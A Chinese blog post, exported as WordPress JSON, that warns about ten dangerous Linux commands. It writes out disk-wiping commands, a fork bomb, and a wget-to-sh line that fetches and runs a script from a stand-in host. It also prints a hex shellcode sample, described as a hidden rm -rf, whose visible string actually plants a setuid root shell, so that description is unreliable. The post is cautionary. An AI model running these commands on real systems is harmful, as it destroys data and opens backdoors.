{"id":5394,"date":"2013-12-08T18:19:36","date_gmt":"2013-12-08T10:19:36","guid":{"rendered":"https:\/\/kyle.ai\/blog\/?p=5394"},"modified":"2013-12-08T22:42:43","modified_gmt":"2013-12-08T14:42:43","slug":"5394","status":"publish","type":"post","link":"https:\/\/kyle.ai\/blog\/5394.html","title":{"rendered":"\u6c38\u8fdc\u4e0d\u8981\u5728Linux\u6267\u884c\u768410\u4e2a\u6700\u5371\u9669\u7684\u547d\u4ee4"},"content":{"rendered":"<p>Linux \u547d\u4ee4\u884c\u4f77\u6709\u7528\u3001\u5f88\u9ad8\u6548\uff0c\u4e5f\u5f88\u6709\u8da3\uff0c\u4f46\u6709\u65f6\u5019\u4e5f\u5f88\u5371\u9669\uff0c\u5c24\u5176\u662f\u5728\u4f60\u4e0d\u786e\u5b9a\u4f60\u81ea\u5df1\u5728\u6b63\u5728\u505a\u4ec0\u4e48\u65f6\u5019\u3002\u8fd9\u7bc7\u6587\u7ae0\u5e76\u4e0d\u6253\u7b97\u5f15\u6765\u4f60\u5bf9 Linux \u6216 linux \u547d\u4ee4\u884c\u7684\u6124\u6012\uff0c\u53ea\u662f\u60f3\u8ba9\u4f60\u610f\u8bc6\u5230\u5728\u4f60\u8fd0\u884c\u67d0\u4e9b\u547d\u4ee4\u65f6\u5e94\u8be5\u4e09\u601d\u800c\u540e\u884c\u3002\uff08\u8bd1\u6ce8\uff1a\u5f53\u7136\uff0c\u4ee5\u4e0b\u547d\u4ee4\u901a\u5e38\u90fd\u662f\u5728 root \u6743\u9650\u4e0b\u624d\u80fd\u5c06\u611a\u8822\u53d1\u6325\u5230\u65e0\u53ef\u6551\u836f\uff1b\u5728\u666e\u901a\u7528\u6237\u8eab\u4efd\u4e0b\uff0c\u7834\u574f\u7684\u53ea\u662f\u81ea\u5df1\u7684\u4e00\u4ea9\u4e09\u5206\u5730\u3002\uff09<\/p>\n<p>1. rm -rf \u547d\u4ee4<\/p>\n<p>rm -rf \u547d\u4ee4\u662f\u5220\u9664\u6587\u4ef6\u5939\u53ca\u5176\u5185\u5bb9\u6700\u5feb\u7684\u65b9\u5f0f\u4e4b\u4e00\u3002\u4ec5\u4ec5\u4e00\u4e01\u70b9\u7684\u6572\u9519\u6216\u65e0\u77e5\u90fd\u53ef\u80fd\u5bfc\u81f4\u4e0d\u53ef\u6062\u590d\u7684\u7cfb\u7edf\u5d29\u574f\u3002\u4e0b\u5217\u662f\u4e00\u4e9b rm \u547d\u4ee4\u7684\u9009\u9879\u3002<\/p>\n<ul>\n<li>rm \u547d\u4ee4\u5728 Linux \u4e0b\u901a\u5e38\u7528\u6765\u5220\u9664\u6587\u4ef6\u3002<\/li>\n<li>rm -r \u547d\u4ee4\u9012\u5f52\u7684\u5220\u9664\u6587\u4ef6\u5939\uff0c\u751a\u81f3\u662f\u7a7a\u7684\u6587\u4ef6\u5939\u3002\uff08\u8bd1\u6ce8\uff1a\u4e2a\u4eba\u8ba4\u4e3a\u6b64\u5904\u5e94\u8be5\u662f\u8bf4\u9519\u4e86\uff0c\u4ece\u5e38\u8bc6\u770b\uff0c\u5e94\u8be5\u662f\u201c\u751a\u81f3\u662f\u975e\u7a7a\u7684\u6587\u4ef6\u5939\u201d\uff09<\/li>\n<li>rm -f \u547d\u4ee4\u80fd\u4e0d\u7ecf\u8fc7\u8be2\u95ee\u76f4\u63a5\u5220\u9664\u2018\u53ea\u8bfb\u6587\u4ef6\u2019\u3002\uff08\u8bd1\u6ce8\uff1aLinux \u4e0b\u5220\u9664\u6587\u4ef6\u5e76\u4e0d\u5728\u4e4e\u8be5\u6587\u4ef6\u662f\u5426\u662f\u53ea\u8bfb\u7684\uff0c\u800c\u53ea\u662f\u5728\u610f\u5176\u7236\u76ee\u5f55\u662f\u5426\u6709\u5199\u6743\u9650\u3002\u6240\u4ee5\uff0c-f \u8fd9\u4e2a\u53c2\u6570\u53ea\u662f\u8868\u793a\u4e0d\u5fc5\u4e00\u4e2a\u4e2a\u5220\u9664\u786e\u8ba4\uff0c\u800c\u662f\u4e00\u5f8b\u6084\u6084\u5220\u9664\u3002\u53e6\u5916\uff0c\u539f\u59cb\u7684 rm \u547d\u4ee4\u5176\u5b9e\u4e5f\u662f\u6ca1\u6709\u5220\u9664\u63d0\u793a\u7684\uff0c\u53ea\u662f\u4e00\u822c\u7684\u53d1\u884c\u7248\u90fd\u4f1a\u5c06 rm \u901a\u8fc7\u522b\u540d\u7684\u65b9\u5f0f\u589e\u52a0-i \u53c2\u6570\u6765\u8981\u6c42\u5220\u9664\u786e\u8ba4\uff0c\u800c-f \u5219\u6291\u5236\u4e86\u8fd9\u4e2a\u63d0\u793a\u3002\uff09<\/li>\n<li>rm -rf \/ : \u5f3a\u5236\u5220\u9664\u6839\u76ee\u5f55\u4e0b\u6240\u6709\u4e1c\u4e1c\u3002\uff08\u5c31\u662f\u8bf4\u5220\u9664\u5b8c\u6bd5\u540e\uff0c\u4ec0\u4e48\u4e5f\u6ca1\u6709\u4e86\u2026\u2026\uff09<\/li>\n<li>rm -rf *:\u3000\u5f3a\u5236\u5220\u9664\u5f53\u524d\u76ee\u5f55\u7684\u6240\u6709\u6587\u4ef6\u3002<\/li>\n<li>rm -rf . : \u5f3a\u5236\u5220\u9664\u5f53\u524d\u6587\u4ef6\u5939\u53ca\u5176\u5b50\u6587\u4ef6\u5939\u3002<\/li>\n<\/ul>\n<p>\u4ece\u73b0\u5728\u8d77\uff0c\u5f53\u4f60\u8981\u6267\u884c rm -rf \u547d\u4ee4\u65f6\u8bf7\u7559\u5fc3\u4e00\u70b9\u3002\u6211\u4eec\u53ef\u4ee5\u5728\u201c.bashrc\u201d\u6587\u4ef6\u5bf9\u2018rm\u2018\u547d\u4ee4\u521b\u5efa rm -i \u7684\u522b\u540d\uff0c\u6765\u9884\u9632\u7528 \u2018rm\u2018\u547d\u4ee4\u5220\u9664\u6587\u4ef6\u65f6\u7684\u4e8b\u6545\uff0c\u5b83\u4f1a\u8981\u6c42\u4f60\u786e\u8ba4\u6bcf\u4e00\u4e2a\u5220\u9664\u8bf7\u6c42\u3002\uff08\u8bd1\u6ce8\uff1a\u5927\u591a\u6570\u53d1\u884c\u7248\u5df2\u7ecf\u8fd9\u6837\u505a\u4e86\uff0c\u5982\u679c\u8fd8\u6ca1\u6709\uff0c\u8bf7\u8fd9\u6837\u505a\uff0c\u5e76\u5728\u4f7f\u7528-f \u53c2\u6570\u524d\u4e00\u5b9a\u8003\u8651\u597d\u4f60\u5728\u505a\u4ec0\u4e48\uff01\u8bd1\u8005\u672c\u4eba\u6709\u7740\u8840\u6cea\u7684\u6559\u8bad\u554a\u3002\uff09<\/p>\n<p>2. :  (){::&amp;};: \u547d\u4ee4<\/p>\n<p>\u8fd9\u5c31\u662f\u4e2a fork \u70b8\u5f39\u7684\u5b9e\u4f8b\u3002\u5177\u4f53\u64cd\u4f5c\u662f\u901a\u8fc7\u5b9a\u4e49\u4e00\u4e2a\u540d\u4e3a \u2018:\u2018\u7684\u51fd\u6570\uff0c\u5b83\u4f1a\u8c03\u7528\u81ea\u5df1\u4e24\u6b21\uff0c\u4e00\u6b21\u5728\u524d\u53f0\u53e6\u4e00\u6b21\u8fd0\u884c\u5728\u540e\u53f0\u3002\u5b83\u4f1a\u53cd\u590d\u7684\u6267\u884c\u4e0b\u53bb\u76f4\u5230\u7cfb\u7edf\u5d29\u6e83\u3002<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\r\n: (){:|:&amp;};:\r\n<\/pre>\n<p>\u54e6\uff1f\u4f60\u786e\u8ba4\u4f60\u8981\u8bd5\u8bd5\u4e48\uff1f\u5343\u4e07\u522b\u5728\u516c\u53f8\u6b63\u5f0f\u7684\u670d\u52a1\u5668\u4e0a\u5b9e\u9a8c\u554a~~<\/p>\n<p>3. \u547d\u4ee4&gt; \/dev\/sda<\/p>\n<p>\u4e0a\u5217\u547d\u4ee4\u4f1a\u5c06\u67d0\u4e2a\u2018\u547d\u4ee4\u2018\u7684\u8f93\u51fa\u5199\u5230\u5757\u8bbe\u5907\/dev\/sda \u4e2d\u3002\u8be5\u64cd\u4f5c\u4f1a\u5c06\u5728\u5757\u8bbe\u5907\u4e2d\u7684\u6240\u6709\u6570\u636e\u5757\u66ff\u6362\u4e3a\u547d\u4ee4\u5199\u5165\u7684\u539f\u59cb\u6570\u636e\uff0c\u4ece\u800c\u5bfc\u81f4\u6574\u4e2a\u5757\u8bbe\u5907\u7684\u6570\u636e\u4e22\u5931\u3002<\/p>\n<p>4. mv \u6587\u4ef6\u5939\/dev\/null<\/p>\n<p>\u8fd9\u4e2a\u547d\u4ee4\u4f1a\u79fb\u52a8\u67d0\u4e2a\u2018\u6587\u4ef6\u5939\u2018\u5230\/dev\/null\u3002\u5728 Linux \u4e2d \/dev\/null \u6216 null \u8bbe\u5907\u662f\u4e00\u4e2a\u7279\u6b8a\u7684\u6587\u4ef6\uff0c\u6240\u6709\u5199\u5165\u5b83\u7684\u6570\u636e\u90fd\u4f1a\u88ab\u6e05\u9664\uff0c\u7136\u540e\u8fd4\u56de\u5199\u64cd\u4f5c\u6210\u529f\u3002\uff08\u8bd1\u6ce8\uff1a\u8fd9\u5c31\u662f\u9ed1\u6d1e\u554a\u3002\u5f53\u7136\uff0c\u8981\u8bf4\u660e\u7684\u662f\uff0c\u901a\u8fc7\u5c06\u6587\u4ef6\u5939\u79fb\u52a8\u5230\u9ed1\u6d1e\uff0c\u5e76\u4e0d\u80fd\u963b\u6b62\u6570\u636e\u6062\u590d\u8f6f\u4ef6\u7684\u6551\u8d4e\uff0c\u6240\u4ee5\uff0c\u771f\u6b63\u7684\u5f7b\u5e95\u6bc1\u706d\uff0c\u9700\u8981\u91c7\u7528\u4e13\u7528\u7684\u8f6f\u4ef6\u6216\u8005\u624b\u6cd5\u6765\u5b8c\u6210\u2014\u2014\u6211\u77e5\u9053\u4f60\u80af\u5b9a\u6709\u4e9b\u4e1c\u897f\u60f3\u5220\u9664\u5f97\u5e72\u5e72\u51c0\u51c0\u7684\u3002\uff09<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\r\n# mv \/home\/user\/* \/dev\/null\r\n<\/pre>\n<p>\u4e0a\u5217\u547d\u4ee4\u4f1a\u5c06 User \u76ee\u5f55\u6240\u6709\u5185\u5bb9\u79fb\u52a8\u5230\/dev\/null\uff0c\u8fd9\u610f\u5473\u7740\u6240\u6709\u4e1c\u897f\u90fd\u88ab\u2018\u5377\u5165\u2019\u9ed1\u6d1e\u3000(null)\u4e4b\u4e2d\u3002<\/p>\n<p>5. wget http:\/\/malicious_source -O- sh<\/p>\n<p>\u4e0a\u5217\u547d\u4ee4\u4f1a\u4ece\u4e00\u4e2a\uff08\u4e5f\u8bb8\u662f\uff09\u6076\u610f\u6e90\u4e0b\u8f7d\u4e00\u4e2a\u811a\u672c\u5e76\u6267\u884c\u3002Wget \u547d\u4ee4\u4f1a\u4e0b\u8f7d\u8fd9\u4e2a\u811a\u672c\uff0c\u800c sh \u4f1a\uff08\u65e0\u6761\u4ef6\u7684\uff09\u6267\u884c\u4e0b\u8f7d\u4e0b\u6765\u7684\u811a\u672c\u3002<\/p>\n<p>\u6ce8\u610f: \u4f60\u5e94\u8be5\u65f6\u523b\u6ce8\u610f\u4f60\u4e0b\u8f7d\u5305\u6216\u811a\u672c\u7684\u6e90\u3002\u53ea\u80fd\u4f7f\u7528\u90a3\u4e9b\u4ece\u53ef\u4fe1\u4efb\u7684\u6e90\u4e2d\u4e0b\u8f7d\u811a\u672c\/\u7a0b\u5e8f\u3002\uff08\u8bd1\u6ce8\uff1a\u6240\u4ee5\uff0c\u4f60\u771f\u7684\u77e5\u9053\u4f60\u5728\u505a\u4ec0\u4e48\u5417\uff1f\u5f53\u9047\u5230\u8fd9\u79cd\u9700\u8981\u662f\uff0c\u6211\u7684\u505a\u6cd5\u662f\uff0c\u5148 wget \u4e0b\u6765\uff0c\u7136\u540e\u6211\u53bb\u8bfb\u4e00\u8bfb\u5176\u4e2d\u5230\u5e95\u5199\u4e86\u4e9b\u4ec0\u4e48\uff0c\u7136\u540e\u8003\u8651\u662f\u5426\u6267\u884c\u3002\uff09<\/p>\n<p>6. mkfs.ext3 \/dev\/sda<\/p>\n<p>\u4e0a\u5217\u547d\u4ee4\u4f1a\u683c\u5f0f\u5316\u5757\u8bbe\u5907\u2018sda\u2019\uff0c\u4f60\u65e0\u7591\u77e5\u9053\u5728\u6267\u884c\u4e0a\u5217\u547d\u4ee4\u540e\u4f60\u7684\u5757\u8bbe\u5907(\u786c\u76d8\u9a71\u52a8\u5668)\u4f1a\u88ab\u683c\u5f0f\u5316\uff0c\u5d2d\u65b0\u7684!\u6ca1\u6709\u4efb\u4f55\u6570\u636e\uff0c\u76f4\u63a5\u8ba9\u4f60\u7684\u7cfb\u7edf\u8fbe\u5230\u4e0d\u53ef\u6062\u590d\u7684\u9636\u6bb5\u3002\uff08\u8bd1\u6ce8\uff1a\u901a\u5e38\u4e0d\u4f1a\u76f4\u63a5\u4f7f\u7528\/dev\/sda \u8fd9\u6837\u7684\u8bbe\u5907\uff0c\u9664\u975e\u662f\u4f5c\u4e3a raw \u8bbe\u5907\u4f7f\u7528\uff0c\u4e00\u822c\u90fd\u9700\u8981\u5c06 sda \u5206\u6210\u7c7b\u4f3c sda1\u3001sda2 \u8fd9\u6837\u7684\u5206\u533a\u540e\u624d\u4f7f\u7528\u3002\u5f53\u7136\uff0c\u65e0\u8bba\u4f60\u4f7f\u7528 sda \u8fd8\u662f sda1\uff0c\u8fd9\u6837\u5bf9\u5757\u8bbe\u5907\u6216\u5206\u533a\u8fdb\u884c mkfs \u90fd\u662f\u6bc1\u706d\u6027\u7684\uff0c\u4e0a\u9762\u7684\u6570\u636e\u90fd\u4f1a\u88ab\u84b8\u53d1\u4e86\u3002\uff09<\/p>\n<p>7. &gt; file<\/p>\n<p>\u4e0a\u5217\u547d\u4ee4\u5e38\u7528\u6765\u6e05\u7a7a\u6587\u4ef6\u5185\u5bb9\uff08\u8bd1\u6ce8\uff1a\u901a\u5e38\u4e5f\u7528\u4e8e\u8bb0\u5f55\u547d\u4ee4\u8f93\u51fa\u3002\u4e0d\u8fc7\u8bf7\u5728\u6267\u884c\u524d\uff0c\u786e\u8ba4\u8f93\u51fa\u7684\u6587\u4ef6\u662f\u7a7a\u7684\u6216\u8005\u8fd8\u4e0d\u5b58\u5728\uff0c\u5426\u5219\u539f\u6765\u7684\u6587\u4ef6\u53ef\u771f\u662f\u6062\u590d\u4e0d\u4e86\u4e86\u2014\u2014\u8fde\u6570\u636e\u6062\u590d\u8f6f\u4ef6\u90fd\u672a\u5fc5\u80fd\u5e2e\u52a9\u4f60\u4e86\u3002\u53e6\u5916\uff0c\u6211\u60f3\u4f60\u53ef\u80fd\u771f\u6b63\u60f3\u7528\u7684\u662f\u201c&gt;&gt;\u201d\uff0c\u5373\u7d2f\u52a0\u65b0\u7684\u8f93\u51fa\u5230\u6587\u4ef6\uff0c\u800c\u4e0d\u662f\u5237\u65b0\u90a3\u4e2a\u6587\u4ef6\u3002\uff09\u3002\u5982\u679c\u7528\u4e0a\u5217\u6267\u884c\u65f6\u8f93\u5165\u9519\u8bef\u6216\u65e0\u77e5\u7684\u8f93\u5165\u7c7b\u4f3c \u201c&gt;xt.conf\u201d\u3000\u7684\u547d\u4ee4\u4f1a\u8986\u76d6\u914d\u7f6e\u6587\u4ef6\u6216\u5176\u4ed6\u4efb\u4f55\u7684\u7cfb\u7edf\u914d\u7f6e\u6587\u4ef6\u3002<\/p>\n<p>8. ^foo^bar<\/p>\n<p>\u8fd9\u4e2a\u547d\u4ee4\u5728\u6211\u4eec\u5341\u4e2a\u9c9c\u4e3a\u4eba\u77e5\u7684 Linux \u547d\u4ee4 &#8211; Part 3 \u4e2d\u63cf\u8ff0\u8fc7\uff0c\u7528\u6765\u7f16\u8f91\u5148\u524d\u8fd0\u884c\u7684\u547d\u4ee4\u800c\u65e0\u9700\u91cd\u6253\u6574\u4e2a\u547d\u4ee4\u3002\u4f46\u5f53\u7528 foobar \u547d\u4ee4\u65f6\u5982\u679c\u4f60\u6ca1\u6709\u5f7b\u5e95\u68c0\u67e5\u6539\u53d8\u539f\u59cb\u547d\u4ee4\u7684\u98ce\u9669\uff0c\u8fd9\u53ef\u80fd\u5bfc\u81f4\u771f\u6b63\u7684\u9ebb\u70e6\u3002\uff08\u8bd1\u6ce8\uff1a\u4e8b\u5b9e\u4e0a\uff0c\u8fd9\u79cd\u5c0f\u6280\u5de7\u662f\u8bd1\u8005\u8ba4\u4e3a\u7684\uff0c\u5c11\u6570\u53f2\u524d\u65f6\u4ee3\u9057\u7559\u4e0b\u6765\u7684\u65e0\u7528\u800c\u6709\u5bb3\u7684\u201c\u9ed1\u5ba2\u201d\u6280\u5de7\u3002\uff09<\/p>\n<p>9. dd if=\/dev\/random of=\/dev\/sda<\/p>\n<p>\u4e0a\u5217\u547d\u4ee4\u4f1a\u5411\u5757\u8bbe\u5907 sda \u5199\u5165\u968f\u673a\u7684\u5783\u573e\u6587\u4ef6\u4ece\u800c\u64e6\u51fa\u6570\u636e\u3002\u5f53\u7136\uff01\u4f60\u7684\u7cfb\u7edf\u53ef\u80fd\u9677\u5165\u6df7\u4e71\u548c\u4e0d\u53ef\u6062\u590d\u7684\u72b6\u6001\u3002\uff08\u8bd1\u6ce8\uff1a\u8bb0\u5f97\u4e0a\u9762\u8bf4\u8fc7 mv \u5230\u9ed1\u6d1e\u5e76\u4e0d\u80fd\u5f7b\u5e95\u5220\u9664\u6570\u636e\u4e48\uff1f\u90a3\u4e48\u8fd9\u4e2a\u547d\u4ee4\u5c31\u662f\u7ed9\u4e86\u4f60\u4e00\u4e2a\u5f7b\u5e95\u5220\u9664\u7684\u65b9\u6cd5\uff01\u5f53\u7136\u4e3a\u4e86\u4fdd\u9669\u8d77\u89c1\uff0c\u4f60\u53ef\u4ee5\u8986\u5199\u591a\u6b21\u3002\uff09<\/p>\n<p>10. \u9690\u85cf\u547d\u4ee4<\/p>\n<p>\u4e0b\u9762\u7684\u547d\u4ee4\u5176\u5b9e\u5c31\u662f\u4e0a\u9762\u7b2c\u4e00\u4e2a\u547d\u4ee4 (rm -rf)\u3002\u8fd9\u91cc\u7684\u4ee3\u7801\u662f\u9690\u85cf\u5728\u5341\u516d\u8fdb\u5236\u91cc\u7684\uff0c\u4e00\u4e2a\u65e0\u77e5\u7684\u7528\u6237\u53ef\u80fd\u5c31\u4f1a\u88ab\u611a\u5f04\u3002\u5728\u7ec8\u7aef\u91cc\u8fd0\u884c\u4e0b\u9762\u547d\u4ee4\u53ef\u80fd\u4f1a\u64e6\u9664\u4f60\u7684\u6839\u5206\u533a\u3002<\/p>\n<p>\u8fd9\u4e2a\u547d\u4ee4\u8868\u660e\u901a\u5e38\u771f\u6b63\u7684\u5371\u9669\u662f\u9690\u85cf\u7684\uff0c\u4e0d\u4f1a\u88ab\u8f7b\u6613\u7684\u68c0\u6d4b\u5230\u3002\u4f60\u5fc5\u987b\u65f6\u523b\u7559\u5fc3\u4f60\u5728\u505a\u4ec0\u4e48\u7ed3\u679c\u4f1a\u600e\u6837\u3002\u4e0d\u8981\u7f16\u8bd1\uff0f\u8fd0\u884c\u4ece\u672a\u77e5\u6765\u6e90\u7684\u4ee3\u7801\u3002<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\r\nchar esp&#x5B;] __attribute__ ((section(\u201c.text\u201d))) \/* e.s.p\r\nrelease *\/\r\n= \u201c\\xeb\\x3e\\x5b\\x31\\xc0\\x50\\x54\\x5a\\x83\\xec\\x64\\x68\u2033\r\n\u201c\\xff\\xff\\xff\\xff\\x68\\xdf\\xd0\\xdf\\xd9\\x68\\x8d\\x99\u2033\r\n\u201c\\xdf\\x81\\x68\\x8d\\x92\\xdf\\xd2\\x54\\x5e\\xf7\\x16\\xf7\u2033\r\n\u201c\\x56\\x04\\xf7\\x56\\x08\\xf7\\x56\\x0c\\x83\\xc4\\x74\\x56\u2033\r\n\u201c\\x8d\\x73\\x08\\x56\\x53\\x54\\x59\\xb0\\x0b\\xcd\\x80\\x31\u2033\r\n\u201c\\xc0\\x40\\xeb\\xf9\\xe8\\xbd\\xff\\xff\\xff\\x2f\\x62\\x69\u2033\r\n\u201c\\x6e\\x2f\\x73\\x68\\x00\\x2d\\x63\\x00\u2033\r\n\u201ccp -p \/bin\/sh \/tmp\/.beyond; chmod 4755\r\n\/tmp\/.beyond;\u201d;\r\n<\/pre>\n<p>\u6ce8\u610f\uff1a\u4e0d\u8981\u5728\u4f60\u7684\u6216\u4f60\u7684\u540c\u5b66\u6216\u5b66\u6821\u7684\u7535\u8111\u91cc\u7684 Linux \u7ec8\u7aef\u6216 Shell \u6267\u884c\u4ee5\u4e0a\u7684\u4efb\u4f55\u4e00\u4e2a\u547d\u4ee4\u3002\u5982\u679c\u4f60\u60f3\u6d4b\u8bd5\u5b83\u4eec\uff0c\u8bf7\u5728\u865a\u62df\u673a\u4e0a\u8fd0\u884c\u3002\u4efb\u4f55\u4e0d\u548c\u8c10\u6216\u6570\u636e\u4e22\u5931\uff0c\u7531\u4e8e\u8fd0\u884c\u4e0a\u9762\u7684\u547d\u4ee4\u5bfc\u81f4\u4f60\u7684\u7cfb\u7edf\u5d29\u6e83\uff0c\u6587\u7ae0\u4f5c\u8005\u548c Tecmint \u6982\u4e0d\u8d1f\u8d23\u3002\uff08\u8bd1\u6ce8\uff1a\u8bd1\u8005\u548c\u8f6c\u8f7d\u7f51\u7ad9\u4e5f\u4e0d\u8d1f\u8d23~\uff01\uff09<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Linux \u547d\u4ee4\u884c\u4f77\u6709\u7528\u3001\u5f88\u9ad8\u6548\uff0c\u4e5f\u5f88\u6709\u8da3\uff0c\u4f46\u6709\u65f6\u5019\u4e5f\u5f88\u5371\u9669\uff0c\u5c24\u5176\u662f\u5728\u4f60\u4e0d\u786e\u5b9a\u4f60\u81ea\u5df1\u5728\u6b63\u5728\u505a\u4ec0\u4e48\u65f6\u5019\u3002\u8fd9\u7bc7\u6587\u7ae0 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-5394","post","type-post","status-publish","format-standard","hentry","category-skill"],"_links":{"self":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts\/5394","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/comments?post=5394"}],"version-history":[{"count":4,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts\/5394\/revisions"}],"predecessor-version":[{"id":5398,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts\/5394\/revisions\/5398"}],"wp:attachment":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/media?parent=5394"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/categories?post=5394"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/tags?post=5394"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}